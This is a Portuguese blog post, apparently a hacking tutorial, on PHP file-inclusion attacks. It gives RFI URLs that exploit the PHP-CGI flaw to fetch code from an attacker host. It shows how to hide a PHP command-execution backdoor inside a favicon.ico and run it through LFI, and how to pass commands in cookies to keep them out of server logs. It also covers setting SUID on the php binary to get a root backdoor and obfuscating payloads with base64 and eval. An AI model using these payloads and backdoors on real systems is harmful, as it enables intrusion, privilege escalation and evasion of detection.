A alguns dias foi levantada uma discussão sobre LFI´s e RFI por causa da falha do PHP CGI.
Resumindo, ao se fazer um RFI nesta falha pouco importa qual seja a extensão do arquivo incluído, podendo ser .txt, .gif, .jpg, .ico ou té mesmo .php, desde que, o servidor onde o arquivo .php esteja hospedado não faça interpretação.
Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.txt
Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.gif
Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.php
Como mencionei, no 3 exemplo o servidor attacker não pode ter/fazer interpretação de arquivos .php
Mais pra baixo vou explicar porque o extensão não faz diferença.
Vamos ao que interessa:
A ideia aqui é implantar um backdoor acessá-lo através de LFI de uma forma não muito usual.
Para isto vamos usar o Favicon, ele foi escolhido pois fiz vários testes com figuras e muitas apresentaram problemas de execução do código devido ao caracteres utilizados a formação da imagem, já a Favicon é bem simples e possui poucos caracteres, diminuindo assim a possibilidade de problemas de execução.
Criei um favicon neste site, bem simples, apenas escrito DC com letras azuis.
Vamos dar uma olhada nele no editor hexa:
No Chrome ele é exibido no canto esquerdo superior da aba:
No IE ele fica na barra de endereços:
Acesso direto:
Agora vamos altera-lo e acrescentar a seguinte linha:
<?php system($_GET['cmd']; ?> Que efetivamente vai ser nosso backdoor.
Você pode trocar a função system pela sua de preferencia.
Ao fazer o request novamente, ele continua a ser visualizado sem problemas, mesmo depois do código PHP ter sido acrescentado. Até ai tudo ok!
Agora fazemos o include do arquivo e passamos os comandos:
http://srvlfi.dc/lfi.php?inc=favicon.ico&cmd=id
Depois disso tudo, vamos entender o porque isso acontece:
A função include (e similares) do PHP, ignoram complemente a extensão do arquivo e joga todo seu conteúdo para dentro do .php base, neste caso o lfi.php, então, oque interessa é somente o conteúdo do arquivo. O PHP por sua vez ao encontrar um novo <?php, executa o código até encontrar ?>, ou seja, o final das instruções PHP para aquele bloco de código.
O problema de usar esta técnica é o lixo exibido na tela, justamente pelo comportamento das funções de include, que jogam o conteúdo do arquivo até achar os marcadores do PHP.
Outro ponto importante seria utilizar cookies para passar os comandos para o PHP, assim, seria evitado que os comandos fossem enviados por GET ou POST e poluindo ainda mais o Log do servidor.
Log sem cookie: [23/Aug/2012:08:59:38 -0300] "GET /lfi.php?lfi=oi2.gif&cmd=uname%20-a HTTP/1.1" 200 384 "-" "Mozilla/5.0
Log utilizando comando por cookie: [23/Aug/2012:09:01:13 -0300] "GET /lfi.php?lfi=oi.gif HTTP/1.1" 200 384 "-" "Mozilla/5.0
O código para esta implementação é bem simples:
setcookie("cmd_cookie", "id");
system($_COOKIE["cmd_cookie"]);
Basta alterar o valor do cookie com sua ferramentas preferida.
Fazendo uma pesquisa rápida junto com o Psylon, encontramos este Post, que fala sobre adicionar código php em imagem, porém, é necessário adicionar informação no htaccess. Esta linha irá fazer com que o interpretador do php entende que arquivos .jpg também sejam interpretados.
root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess
Agora partindo so suposto que que isso tudo que fizemos é um pós exploitation e que o pesquisador acima fez alterações em arquivos foi feito o seguinte:
Setado um suid no binário do php
chmod 4755 /usr/bin/php5 (o endereço pode/vai variar de acordo o sabor do linux)
root@srvlfi:/var/www# ls -al /usr/bin/php5
-rwsr-xr-x 1 root root 7463060 2012-02-11 05:07 /usr/bin/php5
Criado um icone com nome de suid.ico com o seguinte código(claro, no final do arquivo depois do código do próprio ícone):
<?php
posix_seteuid(0);
passthru($argv[1]);
?>
Neste caso foi utilizada a variável $argv[1] para receber o valor, pois mesmo com suid no binário do php não possível elevar o privilégio utilizado a posix_seteuid, devido a arquitetura e proteções empregadas(nem sempre foi assim), então, para contornar, a ideia foi fazer a própria backdoor executar o binário suid do php passando o caminho do ícone maligno jutamente com comando a ser executado como root. Como podem ver na abaixo, logo $argv[1] tem o valor id;uname -a
http://srvlfi.dc/oi.php?cmd=/usr/bin/php5%20/var/www/suid.ico%20%22id;uname%20-a%22
Obs: Para comandos com argumentos por exemplo uname -a, é necessário utilizar aspas duplas, para indicar que o comando é apenas um, caso contrário, o php irá entender que "-a" é o terceiro argumento do array - $argv[2]
E sim, TERCEIRO argumento, caso tenha dúvida consulte o link de $argv[1].
Outra dica é: Caso o código do seu backdoor esteja ficando grande, use as funções de enconding base64 e a função eval do php.
Espero ter contribuído.
Thanks to: @l0c4lh05t - @gmlnet
Me: @crashbrz